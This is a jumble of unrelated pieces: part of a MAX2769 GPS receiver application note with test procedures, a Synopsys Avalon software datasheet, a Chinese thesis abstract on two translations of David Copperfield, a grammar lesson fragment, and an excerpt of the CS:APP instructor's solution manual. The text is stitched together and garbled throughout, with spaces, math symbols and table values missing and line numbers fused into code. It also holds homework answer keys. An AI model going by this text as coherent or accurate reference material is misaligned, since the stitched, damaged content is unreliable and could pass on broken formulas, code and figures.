can be programmed through the SPI interface to trim the load to yield the correct reference frequency. The internal bank can be programmed over a range of about 11pF to 17pF (settings plus 9pF of parasitic capacitance). A single series capacitor is placed between the crystal and the crystal/reference input. If the desired load value is between 11pF and 17pF, the value of this coupling capacitor can be made large (e.g., 10nF), so as not to affect the programmed value. For crystals with load capacitances below 11pF, the coupling capacitor can be made small to add in series with the internal bank, reducing the load seen at the device. Either way, the final frequency trimming can be done internally through the SPI interface.Reference and IF Frequency FlexibilityThe design accommodates a wide range of reference frequencies between 8MHz and 44MHz with a default setting of16.328MHz. The IF frequency is adjustable in 63 steps between 0 and 12.5MHz, with a default setting of 4.092MHz. (It is recommended that the IF frequency be kept at or below 4.092MHz, as additional steps may need to be taken to assure stability at higher frequencies.) Because of a fractional-N synthesizer that permits small step size while maintaining excellent phase noise, this flexibility does not compromise performance. No other product on the market has this degree of flexibility.IF Filter FlexibilityFiltering at IF is important as it limits the noise bandwidth and improves sensitivity while eliminating interference. TheMAX2769's IF filtering is highly flexible. The design uses a complex polyphase Butterworth configuration that can be set to 3rd or 5th order, and either bandpass or lowpass as the application dictates. The center frequency is also programmable to match the selected IF. The 3dB bandwidths can be selected as 2.5MHz, 4.2MHz, 8.0MHz, or 18MHz. Users can choose a design that optimizes performance for their application. (Note: These are two-sided 3dB bandwidths. When the lowpass option is selected, the bandwidths are cut in half and become 1.25MHz, 2.1MHz, 4.0MHz, and 9MHz. In fact, the highest setting should only be used in a lowpass configuration.) In the predecessor to this part, a 4.8MHz lowpass filter was required to pass the fixed-IF frequency data. In this design, a 2.6MHz bandpass design could be employed, thus reducing the noise bandwidth by nearly3dB and enhancing system sensitivity. Filters (in bandpass mode) are designed to have no more than 1dB droop at F C±1.023MHz.High System Gain with a Wide Range of Level ControlTo use the MAX2769 without an active antenna in a low-signal-strength environment, it is imperative that the receiver have sufficient gain. This device typically has up to 110dB available gain (in analog mode) with 60dB to 65dB of gain adjustment. Access to the Amplified RF Signal for Coexistence FilteringWhile no external filtering is required for stand-alone applications, coexistence with cellular or WiLAN transmissions in close proximity may require additional filtering to prevent overdriving the GPS receiver front-end. On the MAX2769, the RF signal has been made accessible between the first LNA stage output and mixer input (pins 2 and 5 respectively). If filtering is not desired, these ports can be connected through a coupling capacitor. However, filtering introduced at this point has minimal effect on the excellent sensitivity of the receiver. (For example, for typical device parameters, a SAW filter with 1dB insertion loss would degrade cascaded NF (and thus GPS sensitivity) by only about 0.15dB.Flexibility of Output ModesMost GPS devices provide only a single-output mode. The MAX2769's output can be programmed to be analog, CMOS, or limited differential logic in unsigned or complimentary binary format with 1- to 3-bit output from the ADC.Temperature Sensor and Status MonitoringA temperature sensor is included, which can be calibrated externally if desired. While lock-detect status can be obtained at theLD pin, the part can be programmed to instead provide the output signal, the reference clock, or results from a sigma-delta test. It can also be programmed to provide a short to the active antenna or to be an independent test point for voltage.The part is programmed through ten registers across a 3-wire SPI interface. Registers are described in Table 1. For further details, please refer to the MAX2769 data sheet.Table 1. Description of SPI Configuration RegistersCONF1<31:0>0000Configures Rx and IF sections, sets antenna bias and LNA autoselect A2919A3CONF2<31:0>0001Configures AGC and output format055028CCONF3<31:0>0010Configures PGA, and details of AGC, filtering, and data streaming EAFE1DC PLLCONFIG<31:0>0011Sets PLL, VCO, and CLK settings9EC0008DIV<31:0>0100Sets PLL main and reference division ratios0C00080FDIV<31:0>0101Sets PLL fractional division ratios8000070STRM<31:0>0110Configures DSP interface frame streaming8000000CLK<31:0>0111Sets fractional clock divider values10061B2TEST1<31:0>1000Sets up test mode1E0D401TEST2<31:0>1001Sets up test mode14C0002For initial characterization in a MAX2769 EV kit, the parameters listed in Table 2 can be measured with the suggested procedures that follow. The MAX2769 EV kit data sheet should be consulted for more details. Some settings differ from default values to facilitate testing; users are free to select different settings.Table 2. Parameters to be Tested in Suggested ProcedureLNA1 Gain27–2J7–J819dBLNA2 Gain25–2J6–J813dBSystem IP3 withLNA127–18J7–J2-26dBmSystem IP3 withLNA225–18J6–J2-20dBmLNA1 NF (DefaultMode)27–2J7–J80.8dBLNA2 NF25–2J6–J8 1.5dBLNA1 P1dB (Output)27–2J7–J88dBmLNA2 P1dB (Output)25–2J6–J810dBCascaded SystemNF, LNA127–18J7–J2 1.4dBCascaded SystemNF, LNA225–18J6–J2 2.7dBCurrentConsumption (Default Mode,11, 13, 14, 19, 23W19, W20, W11, W1219mA (default mode device only)(36mA at 3V, 140mA at ±5V for entireTEST1:1E0F401TEST2:14C0002Make sure SHDN and IDLE are set to 1, the disabled state for both.3. Measure +3V current consumption at W19 and W20.4. Input a -60dBm, 1575.42MHz CW signal at J7. Measure the signal at J8 and record the LNA1 gain. Take into account the loss on the board traces at 1575MHz around 0.35dB.5. Raise the input level until you get 1dB of compression (P1dB). (This is not a specified parameter, but you should get a number around +8dBm.) Be sure to gain correct any line losses.6. Connect a short, low-loss cable from J8 to J12 to connect the LNA1 output to the mixer. Decrease the input to -110dBm and measure the system gain by monitoring the 4.092MHz output at J2. It should be around 110dB, resulting in a 0dBm output.7. Set the maximum GAININ level by setting <3:27-22> to 63 (CONF2: 85512AC and CONF3: FEFF1DC). Decrease the input to -115dBm and measure the gain—it should be around 115dB. The input level should be adjustable through changes in GAININ. Decrease GAININ to the minimum by setting CONF3: 02FF1DC and once again measure the gain. It should be around 55dB.8. Measure IP3 using LNA1. Combine two input sources (perhaps around -55dBm input), at F1 = 1587.42MHz and F2 = 1599.42MHz (where 2 × F1 - F2 falls in-band at 1575.42MHz) and inject into J7. Measure the strength of the 4.092MHz product at J2 (Q out). Drop both inputs by 1dB, and note that the product drops by 3dB. (If not, you are compressing and need to use a lower input level.) OIP3 = (3 × P OUT - product)/2, soIIP3 = (3 × P OUT - product)/2 - gain. This reduces to (3 × (P IN + gain) - product)/2 - gain =(3 × P OUT - product + gain)/2. With a minimum (55dB) gain, P OUT = 5dBm. A typical 3rd-order product seen on the output spectrum at minimum gain might be -5dBm, in which case IIP3 = (3 × (-55) + 5 + 110)/2 = -25dBm. 9. Measure the LNA1 NF with an NF meter. The NF of the mixer stage can be measured using the gain method: by setting gain to max (see step 8), reducing the spectrum analyzer resolution bandwidth, and measuring the output S/N ratio. You need to have measured the exact system gain. For example, the input noise is -174dBm/Hz. Using an input of -100dBm and assuming around 90dB gain for the mixer stage, the receiver will not be in compression. The input S/N in a 1Hz bandwidth would be -74dB (S = 100dB/Hz, N = 174dBm/Hz). We might measure an output noise floor at J2 of -73dBm/Hz, yielding (with a -10dBm output) an SNR around 63dB. The NF of the system would then be the degradation in the S/N ratio, or 11dB. The result is approximate because measurement precision is poor. However, as the result is large and precision for this value is not critical, this approximate result is sufficient. Once again, subtract the input losses on the board (roughly 0.35dB) from all measured results. Knowing the gain of LNA1, you can then calculate cascaded NF.You could use the gain method or the y-factor method to measure the NF for the entire cascaded chain, but this result would once again be approximate.10. Return to the test register settings from step 2 and use an input level at J12 that is at least 10dB below the value that leads to 1dB compression, typically -110dB. Sweep the input frequency from 1572.9MHz to1577.9MHz to yield a passband of 2.6MHz for the IF bandpass filter. This measurement can be made by using the maximum hold option on the spectrum analyzer.11. Set up the AGC in the autonomous mode (AGC on with independent I and Q), where CONF2<12:11> = 00. Feed a signal into the LNA1 input at -150dBm and select LNA1. Note the tone power at the output while raisingthe input level to -65dBm. It should remain approximately the same (indicating AGC is working).LNA2 Tests12. Switch to LNA2 (CONF1<14:13> = 01). Input a -60dBm, 1575.42MHz CW signal at J6. Measure LNA2 gain atJ8 and record. Raise the input level until you get 1dB compression (P1dB). This is a repeat of steps 4 and 5 withLNA2. (Note again that the cascaded P1dB is determined by the mixer stage.) Cascaded gain is the linear gainmeasured here plus the gain from the mixer-in port to J2 from step 7.13. If an NF meter is available, measure the LNA2 NF between J6 and J8. Then measure the NF following theprocedure in step 9. Be sure that the AGC control is turned off so you can control the output level,CONF2<12:11> = 10.14. With default settings, measure IP3 using LNA2. Combine two sources of -55dBm input at F1 = 1587.42MHzand F2 = 1599.42MHz (where 2 × F1 - F2 falls in-band at 1575.42MHz) and inject into J6. Measure the strengthof the 4.092MHz product at J2 (Q out)—analog mode must be selected. Drop both inputs by 1dB and note thatthe product drops by 3dB. (If not, you are compressing the signal and need to use a lower input level.) CalculateIIP3 as in step 8.Digital TestsDigital measurements should be made at J9 A, B, C, and D. It has been discovered that the 74LV07 driver chip (U28) originally designed onto the board does not properly buffer these signals to allow them to be passed back to the computer on connector JDR1. To use these output signals to drive other circuitry off board, they may need to first be separately buffered.15. Change to a digital output (CONF2<5:4> = 00) so that CONF2 = 855028C, and monitor the signal on anoscilloscope. You should have a square-wave CMOS output (2.8V amplitude) at J9. With CONF2<27> = 1, both Iand Q signals should be present.Appendix: Suggested Register Settings for Initial TestCONF1: Test: A2959A3This register:Enables the chip (default)Disables the idle (default)Sets default current programmingSets non-default LO current programmingSets default mixer current programmingSelects 13MHz passive filter pole at mixer output (default)Selects LNA1 active (default; equivalent to grated mode when there is no current load on the ANT BIAS pin)Enables mixer (default)Turns off bias to external active antenna (default is bias on)Selects F C = 4.092MHzSelects 2.5MHz polyphase IF bandpass filterSelects 26dB IF filter gain (default is 17dB)CONF2: Test: 85502ACThis register:Selects both I and Q channels (default is I only)Sets AGC gain to 170 (default)Sets bit-counter length to 1024 bits (default)Selects sign/magnitude output format (default)Selects 1-bit AGC (default is 1 bit)Selects analog output driver (default is CMOS logic)Disables LO buffer (default)Enables temperature sensor (default)CONF3: Test: EAFF15CThis register:Sets the PGA gain for level/LSB at 58 (default; used only when AGC is disabled and gain is set up over SPI lines) Chooses the nominal ADC input scale (default)Selects the nominal loading for the output driver (default)Enables the ADC (default)Enables the output driver (default)Enables the filter DC-offset cancellation circuitry (default)Enables the IF filter (default)Enables AGC for both channels (default is I enabled only)Enables highpass coupling between the filter and AGC (default)Sets a 50kHz highpass pole corner frequency (default is 20kHz)Selects no DSP interface for data streaming (default)Sets the default data-counter length (16394 bits/frame)Selects 2-bit streaming (default)Enables sync pulse outputs (default)Enables frame sync pulse outputs (default)Disables data sync pulse outputs (default)Disables DSP interface reset (default)PLLCONFIG: Test: 9EC0008This register:Enables the VCO in normal current mode (default)Disables external VCO bias compensation (default)Sets clock output driver to CMOS mode (default)Sets clock frequency to XTAL frequencySelects buffer nominal current of 130mA for crystal (default; range is 130mA to 700mA)Sets capacitive load programming to 3.6pF (default; nominal for C L > 12pF)Selects PLL lock detect as output at LD pin (default)Selects nominal charge-pump operation with 0.5mA current (default)Selects 2ns charge-pump on-time selection (default)Selects integer-N PLL (default)Disables power save (default is power-save enable)Selects low-current mode for prescalar E2Cs (default is high-current mode)DIV: Test: 0C00080This register:Sets N = 1536 for low-side injection (default; LO = 1536 × 1.023MHz = 1571.328MHz)Sets R = 16 (default; step size = 16.368MHz/16 = 1.023MHz)FDIV: Test: 8000070This register:Sets fractional division ratio = 80000 (default)Selects nominal current and filter trim valuesSTRM: Test: 8000000This register:Sets nominal stream interface control to start at a frame given by FRAME_COUNTCLK: Test: 10061B2This register:Sets the L counter to 256Sets the M counter to 1563Selects a fractional clock input to the fractional clock divider to come after the reference divider Selects the serializer clock to come from the reference divider(When integer-N is selected in the PLL Config register, these settings are not used.)TEST1: Test: 1E0F401This register is reserved for TestTEST2: Test: 14C0002This register is reserved for TestThe screen format for setting configurations is shown in Figure 1.Figure 1. The MAX2769 EV kit test software screen format shows suggested settings.Related PartsMAX2769Universal GPS Receiver Free SamplesFree Samples MAX4444Ultra-High-Speed, Low-Distortion, Differential-to-Single-Ended LineReceivers with EnableMore InformationFor Technical Support: /supportFor Samples: /samplesOther Questions and Comments: /contactApplication Note 3910: /an3910USER GUIDE 3910, AN3910, AN 3910, APP3910, Appnote3910, Appnote 3910 Copyright © by Maxim Integrated ProductsAdditional Legal Notices: /legal。

芯片失效分析系统Avalon软件系统说明书

DATASHEET Overview Avalon software system is the next-generation CAD navigation standard for failure analysis, design debug and low-yield analysis. Avalon is a power packed product with tools, features, options and networking capability that provides a complete system for fast, efficient and accurate investigation of inspection, test and analysis jobs. Avalon optimizes the equipment and personnel resources of design and semiconductor failure analysis (FA) labs by providing an easy-to-use software interface and navigation capabilities for almost every type of test and analytical failure analysis equipment.Avalon enables closer collaboration of product and design groups with FA labs, dramatically improving time to yield and market. Avalon can import CAD design data from all key design tools and several user-proprietary formats while providing visual representations of circuits that can be annotated, exploded, searched and linked with ease.Benefits • Improves failure analysis productivity through a common software platform for various FA equipment • Significantly decreases time to market with reduced FA cycle time • Faster problem solving by cross-mapping between device nodes to view all three design domains (layout, netlist and schematic) simultaneously • Increases accuracy of FA root cause analysis using advanced debug tools • Single application that overlays images from various FA equipment on to design layout • Secure access to all FA information using KDB™ database • Design independent system that supports all major layout versus schematic (LVS)• Complete access to all debug tools critical to failure trace, circuit debug and killer defect source analysis • Simple deployment setup with support for Linux and Windows • Seamless integration with legacy Camelot™ and Merlin™ databases • Ease of conversion for layout, netlist and schematic data and establishes cross-mapping links between each data entityCAD Navigation andDebug Solutions forFailure AnalysisAvalonFigure 1: Avalon CAD-navigation system integrating layout, signal tracing and 3D viewSupporting all CAD Design DataSynopsys is committed to being the leading provider of software solutions that links all CAD design data. Avalon is a comprehensive package that reads all EDA tools and design data from verification systems and several user-proprietary formats. The KDB™database is designed to interface with all key design formats.Today, there are more EDA developers and more verification package choices; Synopsys is the only company thatsupports all of them.• LVS Conversions: Cadence (Assura, DIVA), Mentor Graphics (CheckMate, Calibre), Synopsys (Hercules, ICV)• Netlist Conversion: SPICE, EDIF, OpenAccess• Layout Conversion: GDSII, OASIS®The highest priorities for Avalon users are faster data accessibility, support diverse failure analysis equipment and availability of debug tools. Avalon provides the optimal solution for both small and continually-expanding FA labs and design debug teams. The Avalon database is design independent and offers a superior level of data consistency and security. The unique design of the internal database schema guarantees compatibility with decades-old databases. This is an indispensable feature for all failure analysis, QAand manufacturing organizations especially in the automotive industry.Figure 2: Avalon SchemView and NetView provide an easy way to navigate inside circuit schematicsProviding Critical Analysis FunctionsIn addition to its CAD navigation and database capabilities, Avalon’s analysis features have become indispensable to the FA lab. Different viewing options are critical in tracking potential failures and determining the source and origin of killer defects. Avalon includes special schematic capabilities and layout features that are invaluable to FA engineers as they debug chips manufactured using new processes.Avalon View Only Client consists of maskview, netview, schemview, i-schemview, K-EDIT, defect wafermap and 3D-SAA. The list below details some of the most commonly used applications.Defect Wafer Map integrates defect inspection data with the device CAD design using the defect coordinates to navigate an equipment stage and pinpoint the defect for closer inspection and characterization. Avalon sorts defects by size, location or class, as well as layout location and allows the user to define custom wafer maps. Additionally, users can classify defects, attach images and write updated information to the defect files.Figure 3: Defect Wafer Map pinpoints defects for closer inspectionSchemView provides tracking of potential failures through visualization of the chip logic. Cross-mapping of nets and instances to the device layout and netlist, SchemView helps determine the source and origin of chip failures. SchemView helps determine the source and origin of chip failures. The entire design is displayed in cell hierarchy format, allowing push-down to a transistor level.Figure 4: K-Edit allows collaboration between design, fab and labI-Schem (Interactive Schematic) creates a schematic from a netlist in a net-oriented format allowing forward and backward tracking to locate a fault. Features like Add Driver or Add Input Cone allow for quick analysis and verification of diagnostic resultsin scan chains.Figure 5: I-Schem creates a schematic from a netlistK-Bitmap allows equipment CAD navigation when analyzing memory chips by identifying the physical location of failingmemory cells. It eliminates tedious screen counting by converting the logical addresses, or row and column coordinates, to thephysical location.Figure 6: K-Bitmap identifies the physical location of bit addresses in memory devices3D Small-Area Analysis provides a three-dimensional cross- section capability to FA engineers, enabling faster localization of circuit failures to accelerate IC manufacturing yield improvement.Figure 7: 3D Small-Area Analysis enables faster localization of circuit failuresHot-Spot Analyzer allows user to draw regions on the layout that correspond to hot-spot regions (emission spots) to detect the crucial nets. It finds the nets in each hot-spot region and plots a pareto graph of nets crossing one or more hotspots which helps to easily locate the killer net.Figure 8: Hot-Spot Analyzer displays number of nets in a hot spotUser-Defined Online Search (UDOS) allows users to search a small area of a die for unique polygon features, repeated features or lack of features. Applications include, but are not limited to, FIB-able regions, repeaters, pattern fidelity and lithographic applications.Figure 9: User-Defined Online Search (UDOS) finds easy-to-access tracesPassive Voltage Contrast Checker (PVC) quickly and accurately validates the integrity of a circuit’s conductivity and provides detailed information for identifying suspect faults at via or metal tracesFigure 10: Passive Voltage Contrast (PVC) Checker identifies suspect vias or metal tracesElectronic Virtual Layer marks objects to represent net connectivity during a FIB deposit or cut using KEdit. The online trace will simulate the new connectivity to the virtual layer. PVC checker could be used on this virtual layer to simulate the crack or short.Check Adjacent Nets allows logical analysis of nets. This command line tool finds the adjacent nets which are within user-specified threshold distance to find shorts.Export Partial Layout enables the customer to share partial layout data with service labs without compromising the IP of the product.Image Mapper automates the image alignment process in Avalon Maskview and saves a lot of time and effort spent inmanual alignment.Advanced 3D Viewer displays real time 3D view of the selected layout area. It shows each process step in the 3D view for which it uses the process data along with design data. It zooms into smaller details and helps to minimize unintended consequences during FIB cuts due to underneath high density structure.Avalon SolutionAvalon brings all the advantages of enterprise-wide computing for FA of the chip. Avalon is an open architecture system that connects users over local and wide area networks for seamless integration and database sharing. Instrument integration throughout the fab and other locations throughout the enterprise enables viewing, modifying, characterizing and testing the same wafer location with different instruments, or the same location on wafers at different facilities using the same chip design.Figure 11: Avalon’s open architecture integrates with Synopsys’ Yield ExplorerIC DesignToolsFigure 12: Avalon server solutionComprehensive Library of FA Tool DriversAvalon provides navigation with almost every equipment used in the FA lab. With a continued commitment to support drivers for all types of test and analysis equipment, Synopsys will continue to develop driver interfaces for new tools as they are introduced to the market, as well as the next generation of existing tools.Equipment Supported by Avalon• Analytical Probe Stations• Atomic Force Microscopes• E-Beam Probers• IR Imaging• Mechanical Stage Controllers• Emission Microscopes• Microanalysis Systems• FIB Workstation• Laser Voltage Probe• LSM• EDA LVS• Microchemical Lasers• OBIC Instruments• Optical Review• SEM Tools• Photon Emission Microscopes• Laser Scan Microscopes©2018 Synopsys, Inc. All rights reserved. Synopsys is a trademark of Synopsys, Inc. in the United States and other countries. A list of Synopsys trademarks isavailable at /copyright.html . All other names mentioned herein are trademarks or registered trademarks of their respective owners.。

从意识形态和诗学观的角度比较《大卫·科波菲儿》两个中译本

从意识形态和诗学观的角度比较《大卫．科波菲儿》两个中译本英语语言文学专业研究生舒兰指导教师颜林海传统的翻译理论把原文看作译文的“绝对标准”，认为译者应该摆脱主观干扰，客观地再现原文，使译文忠实于原文。

因此，传统翻译研究的重点多放在原文与译文之间的文本对比之上，所遵循的翻译最高准则则是“忠”。

这种传统译论的积极作用在于从理论上强调翻译的客观性。

然而，因为翻译不是在真空中进行，译者在翻译过程中还会受到其它非文本因素的影响，在实际翻译过程中他们不可能做到绝对忠实。

“文化转向”在翻译界的提出加深了对这一问题的认识，翻译学者们开始把眼光投向与翻译紧密相关的更广阔的领域，开始重视文化、历史等非文本因素对翻译可能产生的影响。

作为文化学派代表人物之一的勒菲弗尔详细讨论了这些历史、文化因素中的两种——意识形态和诗学观对译者的影响，并指出：译者在翻译过程中受到鼹种意识形态和两种诗学观即译者自身意识形态、·社会主流意识形态以及译者自身诗学观、社会主流诗学观的影响。

无论哪种意识形态或诗学观占上风，它对翻译的影响都会体现在译作中。

本篇论文的作者就从“文化转向”的提出和分析意识形态和诗学观对译者的影响着手，对张谷若和董秋斯在两个不同历史时期翻译的《大卫．科波菲尔》进行对比，探索两位译者在翻译过程中受到的不同意识形态和不同诗学观的影响中，到底是哪种意识形态或诗学观占了上风，以及它们的影响在译文中的体现。

通过对比旨在提出：对于一篇翻译作品的评价如果只是基于源文本和目的文本之间单纯的语言文字上的对比，实际上是不全面的。

．翻译评价还应该充分考虑到诸如意识形态和诗学观这样的历史、文化因素对译者的影响。

关键词：比较；文化转向：意识形态；诗学观；影响“；Ａｂｓ仃ａｃｔＴｒａｄｉｔｉｏｎａｌｔｒａｎｓｌａｔｉｏｎｔｈｅｏｒｙ，ｗｈｉｃｈｈｏｌｄｓｔｈａｔｔｈｅｔｒａｎｓｌａｔｏｒｓｈｏｕｌｄｃａｓｔｏｆｆｔｈｅｙｏｋｅｏｆｔｈｅｔｙｒａｎｎｙｏｆｓｕｂｊｅｃｔｉｖｉｔｙａｎｄｒｅｐｒｅｓｅｎｔｔｈｅｓｏｕｒｃｅｔｅｘｔｏｂｊｅｃｔｉｖｅｌｙａｎｄｆａｉｔｈｆｕｌｌｙ，ｈａｓｐｅｒｃｅｉｖｅｄｔｈｅｓｏｕｒｃｅｔｅｘｔａｓｔｈｅ“ａｂｓｏｌｕｔｅｃｒｉｔｅｒｉｏｎ”ｏｆｔｈｅｔａｒｇｅｔｔｅｘｔ．Ｔｒａｄｉｔｉｏｎａｌｔｒａｎｓｌａｔｉｏｎｓｔｕｄｉｅｓｈａｖｅｔｈｕｓｆｏｃｕｓｅｄｃｈｉｅｆｌｙｏｎｔｈｅｃｏｍｐａｒｉｓｏｎｂｅｔｗｅｅｎｔｈｅｓｏｕｒｃｅｔｅｘｔａｎｄｔｈｅｔａｒｇｅｔｔｅｘｔ，ｔａｋｉｎｇ‘‘ｆａｉｔｈｆｕｌｎｅｓｓ”ａｓｔｈｅｈｉｇｈｅｓｔｃｒｉｔｅｒｉｏｎ．Ｔｈｅｐｏｓｉｔｉｖｅａｓｐｅｃｔｏｆｔｈｅｔｒａｄｉｔｉｏｎａｌｔｈｅｏｒｙｌｉｅｓｉｎｔｈａｔｉｔａｔｔａｃｈｅｓｉｍｐｏｒｔａｎｃｅｔｏｔｈｅｏｂｊｅｃｔｉｖｉｔｙｏｆｔｒａｎｓｌａｔｉｏｎ．Ｈｏｗｅｖｅｒ，ｂｅｃａｕｓｅｔｒａｎｓｌａｔｉｏｎｄｏｅｓｎｏｔｔａｋｅｐｌａｃｅｉｎａｖａｃｕｕｍ，ｔｒａｎｓｌａｔｏｒｓａｒｅｉｎｅｓｃａｐａｂｌｙｉｎｆｌｕｅｎｃｅｄｂｙｅｘｔｒａ—ｔｅｘｔｕａｔｆａｃｔｏｒｓｉｎｔｈｅｃｏｕｒｓｅｏｆｔｒａｎｓｌａｔｉｏｎ。

Unit2 Improving Yourself 第 2 课时(Using Language

(3) 用在主句动词是过去式时的宾语从句中。 e.g. He wanted to know if the result had been announced (宣布). He told us that the project had been completed.
(4) 根据语境，判断动作的先后顺序或被动情况。 e.g. It was the first time he had been bitten by a dog.
e.g. The vegetables didn’t taste good. They had been cooked for too long.
(2) 表示从过去某一时间开始，延续到过去另一时间的被动动作，常与for, since引导的时间状语连用。 e.g. It was reported that the money had been raised for weeks.
Jack started the habit of cleaning his room last week. This is what his room looked like yesterday morning. (The floor was clean. The sheet was laid flat on the bed. all the books and clothes were placed neatly and tidily. The pictures on the wall were straight.) But two weeks ago, Jack’s room had been an awful mess. His clothes had been thrown everywhere, the pictures had not been hung straight, and all the drawers had been opened. It had been a very disorderly sort of room, with books and papers lying around everywhere.

answer

Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not deﬁne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least signiﬁcant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signiﬁcant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we deﬁne y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Theﬁnal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/ﬂoatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughﬂoating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEﬂoating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigniﬁcant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computeﬁrst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef 